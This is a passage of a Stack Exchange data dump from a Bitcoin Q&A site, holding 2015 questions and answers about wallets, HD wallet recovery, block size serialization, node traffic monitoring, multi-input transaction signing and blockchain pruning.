  <row Id="41193" PostTypeId="2" ParentId="41191" CreationDate="2015-11-02T22:05:51.907" Score="2" Body="&lt;p&gt;Your question might be out of context here (in 3 years, how many people will be interested in an answer, given that things change so fast in this space?).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, it &lt;strong&gt;all depends where you're at&lt;/strong&gt;.  Some, but not all, exchanges will let deposits flow into your account if you properly explain to them the nature of your business, why do you want bitcoin in the first place, etc.  They will load you with questions, and if you have a shell corp in which nobody can see through it, they'll probably deny you to have fiat coming in from others than you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot use bitpay or similar to get bitcoin, given your demographics, your best bet may be to receive the fiat and then send it to an exchange and convert.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is very interesting about your question is that it &lt;em&gt;might&lt;/em&gt; show to people a business opportunity there.&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2015-11-02T22:05:51.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41194" PostTypeId="2" ParentId="41192" CreationDate="2015-11-02T22:13:35.770" Score="5" Body="&lt;p&gt;Nothing out of the ordinary hardware wise is necessarily required if you are just using bitcoin as a currency. The only case you would need specific hardware was if you intended on mining bitcoin. For just normal bitcoin transactions you can utilize whatever electronic device you are using to visit stack-exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are really only 2 big decisions you have to make as a user. What wallet do you want to use and what exchange you want to purchase bitcoin from. Below is a resource to help you decide what wallet would meet your needs (it depends on the device you are using and the security level you require)&#xA;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two characteristics that make up the main difference between wallets, one being the type of environment they work on ie: some are for desktop computers, some for mobile devices and some are web based and work through the web-browser. The other is if they are full validation wallets or simplified validation. As a starter I would suggest beginning with a simplified validation wallet like electrum and getting your feet wet with that. Later as you learn more about bitcoin you can decide if running a full validation wallet like bitcoinqt would be something you'd be interested in doing to help out the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing you need to decide is what exchange you want to use to purchase your bitcoin. This mainly depends on your location and personal preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a general resource to help you learn more information about bitcoin:&#xA;&lt;a href=&quot;https://bitcoin.org/en/getting-started&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/getting-started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest reading up on most of the bitcoin.org pages, the whole website is a great resources for people new to bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-11-03T17:27:01.470" LastActivityDate="2015-11-03T17:27:01.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41195" PostTypeId="2" ParentId="41192" CreationDate="2015-11-02T22:16:09.630" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to know how to start off, which equipment would I need?   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If by equipment you mean mining, be sure to know that mining has become a professional venture.  You need a good combination of i) cheap energy, ii) large CaPex, and iii) a country that has low (or no) import taxes on your equipment.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=_B3jVN9LqbY&quot; rel=&quot;nofollow&quot;&gt;This is what a single, small, miner looks like today&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, you want to aquire and use btc, you don't need much.  Most current PC's/laptops will be able to handle even the full blockchain, provided you have the HD/SSD space.  If you don't, there are a host of wallets which will not require the full blockchain in your machine.  You can check them out at &lt;a href=&quot;http://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org&lt;/a&gt;.  What you're giving up then is some security---your machine is not checking that the transactions are all perfectly safe.  &lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2015-11-02T22:16:09.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41196" PostTypeId="1" AcceptedAnswerId="41199" CreationDate="2015-11-02T23:19:01.080" Score="9" ViewCount="1360" Body="&lt;p&gt;How is the blocksize currently calculated in Bitcoin Core? I'm specifically asking about how it's done for the purposes of enforcing the 1MB limit. If it's done by calculating the serialization length, what serialization format is used?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-11-03T03:06:00.693" Title="How is the size of a block calculated?" Tags="|bitcoind|blocksize|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41197" PostTypeId="1" AcceptedAnswerId="41207" CreationDate="2015-11-03T02:15:06.427" Score="3" ViewCount="464" Body="&lt;p&gt;I've installed and created a new wallet in Multibit HD on my PC, I used a seed of 24 words. As far as I understood, with this 24 words I can recover it on a mycelium android, and I should see and be able to spend the bitcoins from both devices.&#xA;The problem is that after fresh installing the mycelium on android I choose to recover from seed, enter the 24 words but I can't see my bitcoins. A new wallet with 0 bitcoins appears.&#xA;Is it normal? what i don't understand about HD wallets? I thought that both wallets shold be identical.&lt;/p&gt;&#xA;" OwnerUserId="30292" LastActivityDate="2017-06-20T00:29:52.563" Title="Problems in recovering from a seed of Multibit HD" Tags="|multibit|wallet-recovery|multibit-hd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41198" PostTypeId="1" AcceptedAnswerId="41200" CreationDate="2015-11-03T02:18:44.050" Score="4" ViewCount="1168" Body="&lt;p&gt;I was wondering how I would go about measuring the traffic being used on my network for the bitcoind node I am running. It's running  on the standard 8333 port, using linux as the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at iftop which seems to be a tool for doing what I want to do, but I am specifically looking to only monitor traffic associated with the bitcoind node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm trying to see if my implementation of a QOS for the node is working properly.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="5406" LastEditDate="2017-06-17T23:34:43.503" LastActivityDate="2017-06-17T23:34:43.503" Title="Monitor bitcoind node traffic?" Tags="|bitcoind|nodes|bandwidth|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41199" PostTypeId="2" ParentId="41196" CreationDate="2015-11-03T03:06:00.693" Score="7" Body="&lt;p&gt;The block size is the combination of the block header and the list of transactions. Specifically, the block header has these fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;version - 4 bytes&lt;/li&gt;&#xA;&lt;li&gt;previous block header hash - 32 bytes&lt;/li&gt;&#xA;&lt;li&gt;merkle root hash - 32 bytes&lt;/li&gt;&#xA;&lt;li&gt;time - 4 bytes&lt;/li&gt;&#xA;&lt;li&gt;nBits (encoded POW target) - 4 bytes&lt;/li&gt;&#xA;&lt;li&gt;nonce - 4 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the total bytes for a block header is&#xA;4 + 32 + 32 + 4 + 4 + 4 = 80 bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the block header is the list of transactions which is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;transaction count - 1-9 bytes&lt;/li&gt;&#xA;&lt;li&gt;transactions - varies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transactions can vary greatly in terms of the number of bytes, but the general serialization of a single transaction is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;version - 4 bytes&lt;/li&gt;&#xA;&lt;li&gt;tx in size - 1-9 bytes&lt;/li&gt;&#xA;&lt;li&gt;tx ins - see below&lt;/li&gt;&#xA;&lt;li&gt;tx out size - 1-9 bytes&lt;/li&gt;&#xA;&lt;li&gt;tx outs - see below&lt;/li&gt;&#xA;&lt;li&gt;locktime - 4 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each tx in has these fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;previous tx out hash - 32 bytes&lt;/li&gt;&#xA;&lt;li&gt;previous tx out position - 4 bytes&lt;/li&gt;&#xA;&lt;li&gt;pubkey script - varies depending on script, max 10,000 bytes&lt;/li&gt;&#xA;&lt;li&gt;signature script - varies&lt;/li&gt;&#xA;&lt;li&gt;sequence - 4 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each tx out has these fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;value - 8 bytes&lt;/li&gt;&#xA;&lt;li&gt;pubkey script length - 1-9 bytes&lt;/li&gt;&#xA;&lt;li&gt;pubkey script - varies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The sum total of all these things in a block determine the size, which currently has to be less than 1 MB.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-03T03:06:00.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41200" PostTypeId="2" ParentId="41198" CreationDate="2015-11-03T03:13:59.300" Score="5" Body="&lt;p&gt;The RPC interface has a command &lt;code&gt;getpeerinfo&lt;/code&gt; which will give a breakdown of upload and download metrics per connected peer. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {  &#xA;    .. &#xA;    &quot;bytessent&quot;: 67619177,  &#xA;    &quot;bytesrecv&quot;: 47229533,  &#xA;    &quot;conntime&quot;: 1446238156,  &#xA;    ..  &#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Totals for the session for all peers are available with &lt;code&gt;getnettotals&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;totalbytesrecv&quot;: 3664310320,&#xA;  &quot;totalbytessent&quot;: 619085268,&#xA;  &quot;timemillis&quot;: 1446521403149&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;vnstat&lt;/code&gt;is an external tool which will do system-wide monitoring and statistics collection over extremely long time periods. There is no per process breakdown, but it's a good thing to have around for a global view anyway. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eth0:&#xA;       Oct '15     70.88 GiB  /    2.65 GiB  /   73.53 GiB&#xA;       Nov '15     19.61 GiB  /  976.31 MiB  /   20.57 GiB  /  288.12 GiB&#xA;     yesterday      9.40 GiB  /  471.48 MiB  /    9.86 GiB&#xA;         today      1.13 GiB  /   66.35 MiB  /    1.20 GiB  /    8.49 GiB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-03T16:21:17.647" LastActivityDate="2015-11-03T16:21:17.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41201" PostTypeId="2" ParentId="41191" CreationDate="2015-11-03T03:14:13.503" Score="4" Body="&lt;p&gt;There used to be a service by coinvoice.com that did exactly what you're asking. Unfortunately, they're no longer operating. I've heard bitpagos.com does that for Latin America. Otherwise, you're looking at setting up something with coinbase or bitpay to transfer fiat right away for bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck with your business!&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-03T03:14:13.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41202" PostTypeId="2" ParentId="41178" CreationDate="2015-11-03T04:01:17.850" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/glossary/difficulty&quot; rel=&quot;nofollow&quot;&gt;network difficulty&lt;/a&gt; is equal to the maximum allowed (least difficult) &lt;a href=&quot;https://bitcoin.org/en/glossary/nbits&quot; rel=&quot;nofollow&quot;&gt;target&lt;/a&gt; divided by the current target; if you set your minimum target to &lt;em&gt;x&lt;/em&gt; and it's still at &lt;em&gt;x&lt;/em&gt;, then that would also be a relative difficulty of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to confirm this is to look at the calculated difficulty for your genesis block (or block 1 if you got your genesis block from somewhere else).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getblockhash 0&#xA;bitcoin-cli getblock &amp;lt;hash_from_above&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it also says difficulty is one, then you know difficulty hasn't changed since you started mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an interesting side note, as of (I think) Bitcoin Core 0.11.0, Bitcoin's regtest supports &quot;instant&quot; block generation even though its official maximum target is much lower (more difficult).  This means that it has difficulties far below 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli -regtest getmininginfo&#xA;{&#xA;  &quot;blocks&quot;: 0,&#xA;  &quot;currentblocksize&quot;: 0,&#xA;  &quot;currentblocktx&quot;: 0,&#xA;  &quot;difficulty&quot;: 4.656542373906925e-10,&#xA;  &quot;errors&quot;: &quot;This is a pre-release test build - use at your own risk - do not use for mining or merchant applications&quot;,&#xA;  &quot;genproclimit&quot;: -1,&#xA;  &quot;networkhashps&quot;: 0,&#xA;  &quot;pooledtx&quot;: 0,&#xA;  &quot;testnet&quot;: false,&#xA;  &quot;chain&quot;: &quot;regtest&quot;,&#xA;  &quot;generate&quot;: false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-11-03T04:01:17.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41203" PostTypeId="1" CreationDate="2015-11-03T05:20:20.133" Score="6" ViewCount="704" Body="&lt;p&gt;Does anyone know of a way to make Armory do an initial sync any faster?  I've downloaded the blockchain but so far it's been processing/synchronizing with the network for 17 hours, and it claims it has 11 hours more to go, but I suspect it will be even longer than that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a first generation Core I5 processor, running Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that bitcoind is capping out at around ~48% CPU usage, so it only seems to be using two cores.  Any way of tweaking this to use more CPU, or go faster in general?&lt;/p&gt;&#xA;" OwnerUserId="5845" LastEditorUserId="5845" LastEditDate="2015-11-04T04:08:17.000" LastActivityDate="2017-04-03T03:18:35.263" Title="Starting out with Armory - can I make it go faster?" Tags="|bitcoind|synchronization|armory|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41204" PostTypeId="2" ParentId="40677" CreationDate="2015-11-03T05:56:58.930" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems there is no web service for watch-only HD wallet. Is there any &gt;web-service to watch(only) HD Wallet BIP32? : Bitcoin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually there is. Check out &lt;a href=&quot;https://www.blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;blockonomics&lt;/a&gt; , it supports xpub search and also wallet watcher with xpub support that sends out email notifications on transactions.  Also has websocket API for notfications&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-11-03T05:56:58.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41205" PostTypeId="2" ParentId="38887" CreationDate="2015-11-03T06:11:47.967" Score="0" Body="&lt;p&gt;You can search xpubs using &lt;a href=&quot;https://www.blockonomics.co/views/api.html&quot; rel=&quot;nofollow&quot;&gt;blockonomics api&lt;/a&gt; .Would return both main chain and change addreses along with their balance&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-11-03T06:11:47.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41206" PostTypeId="2" ParentId="30264" CreationDate="2015-11-03T09:48:41.477" Score="1" Body="&lt;p&gt;Most of the different coins already run on different ports so you should be able to run these without problems (other than resource issues if your machine can't handled it).  You may need to just check the default port assignments and vary them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run multiple instances of bitcoin for example you need to change ports.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-port=&amp;lt;port&amp;gt;           Listen for connections on &amp;lt;port&amp;gt; (default: 8333 or testnet: 18333)&#xA;-rpcport=&amp;lt;port&amp;gt;        Listen for JSON-RPC connections on &amp;lt;port&amp;gt; (default: 8332 or testnet: 18332)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will allso need the -noupnp flag to disable upnp so that you can manually nat external ports.&lt;/p&gt;&#xA;" OwnerUserId="29310" LastActivityDate="2015-11-03T09:48:41.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41207" PostTypeId="2" ParentId="41197" CreationDate="2015-11-03T11:28:30.957" Score="3" Body="&lt;p&gt;The default MultiBit HD wallet uses an address generation scheme known as BIP32. Mycelium uses an address generation scheme known as BIP44.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP44 is what Trezor uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HD wallet interoperability is unfortunately a bit thorny. It's normally easier to have two wallets.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-11-03T11:28:30.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41208" PostTypeId="1" CreationDate="2015-11-03T18:22:00.520" Score="3" ViewCount="767" Body="&lt;p&gt;Is it possible for a blockchain based currency to say, after all outputs have been spent from a transaction to &quot;delete&quot; it from the blockchain, or at least require the nodes not to download it, what methods are there for achieving such a goal ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I see with pruning is that you still have to first download the entire blockchain from a node and then prune it. I am looking for a method which doesn't require the whole chain ever to be downloaded.&lt;/p&gt;&#xA;" OwnerUserId="30303" LastEditorUserId="5406" LastEditDate="2015-11-03T23:30:37.907" LastActivityDate="2015-11-04T14:40:56.607" Title="Can a blockchain be created that forgets transactions whose outputs have been spent?" Tags="|blockchain|altcoin-development|pruning|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41209" PostTypeId="1" AcceptedAnswerId="41226" CreationDate="2015-11-03T20:31:23.260" Score="18" ViewCount="7265" Body="&lt;p&gt;I have been able to program an application in python that sends valid transactions that spend 1 input, but I really can't get it to work with 2 or more inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how exactly is the hash that has to be signed for each input calculated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have been doing so far, is, for example, if we have 2 inputs, we generate a transaction that spends only that first input, and thats the hash that has to be signed for the first input. And the same with the second input, we generate a transaction that only spends that second input. Both transactions need to have the same outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct? For example, we want to spend input &lt;strong&gt;aaaa:0&lt;/strong&gt; and input &lt;strong&gt;bbbb:1&lt;/strong&gt; and we want to send them to some address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the hash that the first input has to sign, we need to generate this transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'version': 1,&#xA;'inputs': (1)&#xA;    'output_tx_hash': 'aaaa',&#xA;    'output_position': 0,&#xA;    'script': the original script, like: '76a914' + hash + '88ac',&#xA;    'sequence': ffffffff,&#xA;'outputs': (1)&#xA;    'value' : 100000&#xA;    'script' : '76a914' + hash of btc pub key + '88ac'&#xA;'locktime': 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to calculate the hash that the second input has to sign:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'version': 1,&#xA;'inputs': (1)&#xA;    'output_tx_hash': 'bbbb', # this changes&#xA;    'output_position': 1,     # this changes&#xA;    'script': the original script, like: '76a914' + hash + '88ac',&#xA;    'sequence': ffffffff,&#xA;'outputs': (1)&#xA;    'value' : 100000&#xA;    'script' : '76a914' + hash of btc pub key + '88ac'&#xA;'locktime': 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We serialize them, add them 01000000 (SIGHASH_ALL), double sha256 that, sign it, and add 01. That way we get the two signatures that we will use on each input respectively. My application does exactly that and doesn't work. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="27866" LastActivityDate="2019-06-10T13:36:23.303" Title="How to sign a transaction with multiple inputs?" Tags="|transactions|signature|raw-transaction|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41210" PostTypeId="2" ParentId="40963" CreationDate="2015-11-03T20:50:04.193" Score="3" Body="&lt;p&gt;MultiBit developer here. You should be able to simply spend from your Classic wallet into your new HD wallet. Don't try moving private keys around - that's really easy to get wrong and is one of the reasons we wrote HD in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are full instructions on upgrading on the MultiBit website: &lt;a href=&quot;https://multibit.org/en/help/hd0.1/how-to-upgrade-from-classic.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.1/how-to-upgrade-from-classic.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2015-11-03T20:50:04.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41211" PostTypeId="1" CreationDate="2015-11-04T00:22:19.687" Score="2" ViewCount="939" Body="&lt;p&gt;I bought some bitcoins and send them to an a receiving address on Multibit HD, It has been maybe 3 or 4 hours without any confirmations, so I decided to press &quot;repair wallet&quot;, which said it would resynchronize etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the &quot;+Unconfirmed transaction&quot; bit isn't even showing anymore and it isn't in the payments section. Here is the bitcoin transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc.blockr.io/tx/info/111df2572b8550724c78f30bf70f4cafee61417924058fdd624adb172968637a&quot; rel=&quot;nofollow&quot;&gt;https://btc.blockr.io/tx/info/111df2572b8550724c78f30bf70f4cafee61417924058fdd624adb172968637a&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30310" LastEditorUserId="5406" LastEditDate="2015-11-06T14:54:05.257" LastActivityDate="2022-02-28T09:24:35.017" Title="Unconfirmed Transaction disappeared when I pressed &quot;repair wallet&quot;" Tags="|multibit|synchronization|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41212" PostTypeId="2" ParentId="20383" CreationDate="2015-11-04T01:12:28.803" Score="0" Body="&lt;p&gt;The answers listed previously, are accurate with exchanges. Then you have coinbase.com which is not an exchange its more of a conversion mechanism. For BTC to Fiat and vice versa. I came to this stack based on a query as to how they replenish their supplies during rallies like the current ATH we are seeing now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think exchanges and sites like coinbase buy and sell from each other. They may do this via a large exchange like bitfinex or stamp, or even smaller exchanges. This is also most likely automated and built upon algorithms that watch for the most favorable exchanges and maximized profits. Large exchanges have lots of coins that can be bought and sold over and over again. &lt;/p&gt;&#xA;" OwnerUserId="30311" LastActivityDate="2015-11-04T01:12:28.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41213" PostTypeId="1" AcceptedAnswerId="41232" CreationDate="2015-11-04T03:19:46.880" Score="2" ViewCount="230" Body="&lt;p&gt;I am running a private bitcoin network for which I changed the target time between two blocks to &lt;code&gt;12 seconds&lt;/code&gt; and the difficulty adjustment to &lt;code&gt;25 blocks&lt;/code&gt; interval. I ran the network for about 4 hours with 50 nodes. In one of the node's logs I observed that the blockchain height increased up to a maximum of 181 and then started decreasing, all the way to 38. what could be an explanation for such a strange behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please refer to the log below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-11-04 01:58:47 receive version message: /Satoshi:0.11.99/: version 70011, blocks=181, us=0.0.0.0:0, peer=2, peeraddr=127.0.0.1:44117&#xA;2015-11-04 01:58:47 UpdateTip: new best=0000005265ca4ce01ad0d06f45cf475bf303de3d64e942c5cf1177e00f346c78  height=180  log2_work=37.083283  tx=30941  date=2015-11-04 01:53:17 progress=1.000000  cache=0.0MiB(1tx)&#xA;2015-11-04 01:58:47 UpdateTip: new best=00000052a34cedf3c5ddbeb46d36644654523db855c4cce984d2623e840dd219  height=179  log2_work=37.082953  tx=30940  date=2015-11-04 01:53:10 progress=1.000000  cache=0.0MiB(2tx)&#xA;2015-11-04 01:58:47 UpdateTip: new best=00000030fd7652affb883f05fe0c98e7fe3fbc3cfd74808e061ed05ec61c22e6  height=178  log2_work=37.082623  tx=30939  date=2015-11-04 01:52:55 progress=1.000000  cache=0.0MiB(3tx)&#xA;2015-11-04 01:58:47 AddToWallet c32bcbd8102c602a5e71ee717232e204435f331dce6fbfb9eb5d552698faa95b&#xA;2015-11-04 01:58:47 AddToWallet 1c91517aeadd12bcbcfdf4a1423b671d405543ae9abfbd87078969ce1971663f&#xA;2015-11-04 01:58:47 AddToWallet b11f9c2e3b1ab3d3983da63783bb95903d89405243d0716ea88272a9261b7a33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29691" LastEditorUserId="5406" LastEditDate="2015-11-06T14:52:33.333" LastActivityDate="2015-11-06T14:52:33.333" Title="In what scenarios can the blockchain size decrease for bitcoin?" Tags="|blockchain|bitcoind|altcoin-development|chain-reorganization|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41216" PostTypeId="2" ParentId="8250" CreationDate="2015-11-04T08:20:56.590" Score="3" Body="&lt;p&gt;Please look at the developer's document. It's much clearer. &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transactions&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30320" LastActivityDate="2015-11-04T08:20:56.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41217" PostTypeId="2" ParentId="41211" CreationDate="2015-11-04T11:47:29.180" Score="1" Body="&lt;p&gt;That transaction looks fine so try the Tools | Repair wallet again to see if it appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that does not work then you can 'clone' your wallet in Lighthouse using your wallet words and see if it appears in that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lighthouse and MultiBit HD use the wallet words in the same way.&#xA;&lt;a href=&quot;https://www.vinumeris.com/lighthouse&quot; rel=&quot;nofollow&quot;&gt;https://www.vinumeris.com/lighthouse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-11-04T11:47:29.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41218" PostTypeId="2" ParentId="41208" CreationDate="2015-11-04T12:19:06.850" Score="-1" Body="&lt;p&gt;Yes, this should be possible. But there is no support for this in bitcoind yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you can run bitcoind with -prune option. In that case it will delete the older blocks and keep only the unspent outputs(which are required for newer tx validation). So theoretically, you can just copy utxo database from an existing node and start downloading from the current block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now there is no decentralized way to build the utxo database, you just have to start downloading from block 0 and build it yourselves. You could for example torrent the whole UTXO DB. I was thinking of a way to relay the UTXO set (like blocks) , but it would be very big (around 1.2GB right now). I am not knowledgeable enough to know how exactly could such a thing be implemented but it looks theoretically plausible to me.&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-11-04T12:19:06.850" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41219" PostTypeId="1" AcceptedAnswerId="41225" CreationDate="2015-11-04T13:21:27.727" Score="2" ViewCount="275" Body="&lt;p&gt;I want to run Bitcoin-Qt on a laptop that has limited storage (it has an SSD and is used for many purposes that all require a bit of hard drive space). Assuming these hardware limitations, what would be a good way to manage the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to be clear, I cannot store the blockchain on the laptop and I want to be able to make regular transactions portably on the laptop.&lt;/p&gt;&#xA;" OwnerUserId="30325" LastActivityDate="2015-11-04T15:40:45.250" Title="How should one manage the Bitcoin blockchain on a Linux laptop with limited storage?" Tags="|blockchain|bitcoin-core|storage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41220" PostTypeId="2" ParentId="41219" CreationDate="2015-11-04T13:38:03.290" Score="0" Body="&lt;p&gt;A 60 gig flashdrive would work for a while, but at the rate the blockchain is increasing in size it wouldn't leave you much room to spare. Your best bet though would be to buy a cheap external harddrive. 1TB is around $55-60, you don't need anywhere close to that much space, but you could use the spare for additional storage or backup space for your laptop. External drives are small enough these days where they are easily portable and could most likely fit in whatever you use to carry your laptop currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a chart showing the blockchain size over a 2 year stretch:&#xA;&lt;a href=&quot;https://blockchain.info/charts/blocks-size?showDataPoints=false&amp;amp;show_header=true&amp;amp;daysAverageString=1&amp;amp;timespan=2year&amp;amp;scale=1&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/blocks-size?showDataPoints=false&amp;amp;show_header=true&amp;amp;daysAverageString=1&amp;amp;timespan=2year&amp;amp;scale=1&amp;amp;address=&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-11-04T13:44:22.393" 